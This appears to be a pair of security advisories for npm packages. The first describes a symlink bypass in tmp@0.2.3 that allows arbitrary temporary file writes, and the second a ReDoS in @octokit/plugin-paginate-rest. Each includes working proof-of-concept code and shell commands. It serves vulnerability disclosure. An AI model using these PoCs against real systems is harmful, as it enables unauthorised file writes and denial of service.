Version Details and Security Vulnerabilities

Summary

tmp@0.2.3 is vulnerable to an Arbitrary temporary file / directory write via symbolic link dir parameter.

Details

According to the documentation there are some conditions that must be held:

// https://github.com/raszi/node-tmp/blob/v0.2.3/README.md?plain=1#L41-L50

Other breaking changes, i.e.

- template must be relative to tmpdir
- name must be relative to tmpdir
- dir option must be relative to tmpdir //<-- this assumption can be bypassed using symlinks

are still in place.

In order to override the system's tmpdir, you will have to use the newly
introduced tmpdir option.


// https://github.com/raszi/node-tmp/blob/v0.2.3/README.md?plain=1#L375
* `dir`: the optional temporary directory that must be relative to the system's default temporary directory.
     absolute paths are fine as long as they point to a location under the system's default temporary directory.
     Any directories along the so specified path must exist, otherwise a ENOENT error will be thrown upon access, 
     as tmp will not check the availability of the path, nor will it establish the requested path for you.

Related issue: https://github.com/raszi/node-tmp/issues/207.

The issue occurs because _resolvePath does not properly handle symbolic link when resolving paths:

// https://github.com/raszi/node-tmp/blob/v0.2.3/lib/tmp.js#L573-L579
function _resolvePath(name, tmpDir) {
  if (name.startsWith(tmpDir)) {
    return path.resolve(name);
  } else {
    return path.resolve(path.join(tmpDir, name));
  }
}

If the dir parameter points to a symlink that resolves to a folder outside the tmpDir, it's possible to bypass the _assertIsRelative check used in _assertAndSanitizeOptions:

// https://github.com/raszi/node-tmp/blob/v0.2.3/lib/tmp.js#L590-L609
function _assertIsRelative(name, option, tmpDir) {
  if (option === 'name') {
    // assert that name is not absolute and does not contain a path
    if (path.isAbsolute(name))
      throw new Error(`${option} option must not contain an absolute path, found "${name}".`);
    // must not fail on valid .<name> or ..<name> or similar such constructs
    let basename = path.basename(name);
    if (basename === '..' || basename === '.' || basename !== name)
      throw new Error(`${option} option must not contain a path, found "${name}".`);
  }
  else { // if (option === 'dir' || option === 'template') {
    // assert that dir or template are relative to tmpDir
    if (path.isAbsolute(name) && !name.startsWith(tmpDir)) {
      throw new Error(`${option} option must be relative to "${tmpDir}", found "${name}".`);
    }
    let resolvedPath = _resolvePath(name, tmpDir); //<--- 
    if (!resolvedPath.startsWith(tmpDir))
      throw new Error(`${option} option must be relative to "${tmpDir}", found "${resolvedPath}".`);
  }
}

PoC

The following PoC demonstrates how writing a tmp file on a folder outside the tmpDir is possible. Tested on a Linux machine.

• Setup: create a symbolic link inside the tmpDir that points to a directory outside of it

mkdir $HOME/mydir1

ln -s $HOME/mydir1 ${TMPDIR:-/tmp}/evil-dir

• check the folder is empty:

ls -lha $HOME/mydir1 | grep "tmp-"

• run the poc

node main.js
File:  /tmp/evil-dir/tmp-26821-Vw87SLRaBIlf
test 1: ENOENT: no such file or directory, open '/tmp/mydir1/tmp-[random-id]'
test 2: dir option must be relative to "/tmp", found "/foo".
test 3: dir option must be relative to "/tmp", found "/home/user/mydir1".

• the temporary file is created under $HOME/mydir1 (outside the tmpDir):

ls -lha $HOME/mydir1 | grep "tmp-"
-rw------- 1 user user    0 Apr  X XX:XX tmp-[random-id]

• main.js

// npm i tmp@0.2.3

const tmp = require('tmp');

const tmpobj = tmp.fileSync({ 'dir': 'evil-dir'});
console.log('File: ', tmpobj.name);

try {
    tmp.fileSync({ 'dir': 'mydir1'});
} catch (err) {
    console.log('test 1:', err.message)
}

try {
    tmp.fileSync({ 'dir': '/foo'});
} catch (err) {
    console.log('test 2:', err.message)
}

try {
    const fs = require('node:fs');
    const resolved = fs.realpathSync('/tmp/evil-dir');
    tmp.fileSync({ 'dir': resolved});
} catch (err) {
    console.log('test 3:', err.message)
}

A Potential fix could be to call fs.realpathSync (or similar) that resolves also symbolic links.

function _resolvePath(name, tmpDir) {
  let resolvedPath;
  if (name.startsWith(tmpDir)) {
    resolvedPath = path.resolve(name);
  } else {
    resolvedPath = path.resolve(path.join(tmpDir, name));
  }
  return fs.realpathSync(resolvedPath);
}

Impact

Arbitrary temporary file / directory write via symlink

Summary

For the npm package @octokit/plugin-paginate-rest, when calling octokit.paginate.iterator(), a specially crafted octokit instance—particularly with a malicious link parameter in the headers section of the request—can trigger a ReDoS attack.

Details

The issue occurs at line 39 of iterator.ts in the @octokit/plugin-paginate-rest repository. The relevant code is as follows:

url = ((normalizedResponse.headers.link || "").match(
  /<([^>]+)>;\s*rel="next"/,
) || [])[1];

The regular expression /<([^>]+)>;\s*rel="next"/ may lead to a potential backtracking vulnerability, resulting in a ReDoS (Regular Expression Denial of Service) attack. This could cause high CPU utilization and even service slowdowns or freezes when processing specially crafted Link headers.

PoC

The gist of PoC.js

1. run npm i @octokit/plugin-paginate-rest
2. run 'node poc.js' result:
3. then the program will stuck forever with high CPU usage

import { Octokit } from "@octokit/core";
import { paginateRest } from "@octokit/plugin-paginate-rest";

const MyOctokit = Octokit.plugin(paginateRest);
const octokit = new MyOctokit({
  auth: "your-github-token",
});

// Intercept the request to inject a malicious 'link' header for ReDoS
octokit.hook.wrap("request", async (request, options) => {
  const maliciousLinkHeader = "" + "<".repeat(100000) + ">"; // attack string
  return {
    data: [],
    headers: {
      link: maliciousLinkHeader, // Inject malicious 'link' header
    },
  };
});

// Trigger the ReDoS attack by paginating through GitHub issues
(async () => {
  try {
    for await (const normalizedResponse of octokit.paginate.iterator(
      "GET /repos/{owner}/{repo}/issues", { owner: "DayShift", repo: "ReDos", per_page: 100 }
    )) {
      console.log({ normalizedResponse });
    }
  } catch (error) {
    console.error("Error encountered:", error);
  }
})();

Impact

What kind of vulnerability is it?

This is a Regular Expression Denial of Service (ReDoS) vulnerability, which occurs due to excessive backtracking in the regex pattern:

/<([^>]+)>;\s*rel="next"/

When processing a specially crafted Link header, this regex can cause significant performance degradation, leading to high CPU utilization and potential service unresponsiveness.

Who is impacted?

• Users of @octokit/plugin-paginate-rest who call octokit.paginate.iterator() and process untrusted or manipulated Link headers.
• Applications relying on Octokit's pagination mechanism, particularly those handling large volumes of API requests.
• GitHub API consumers who integrate this package into their projects for paginated data retrieval.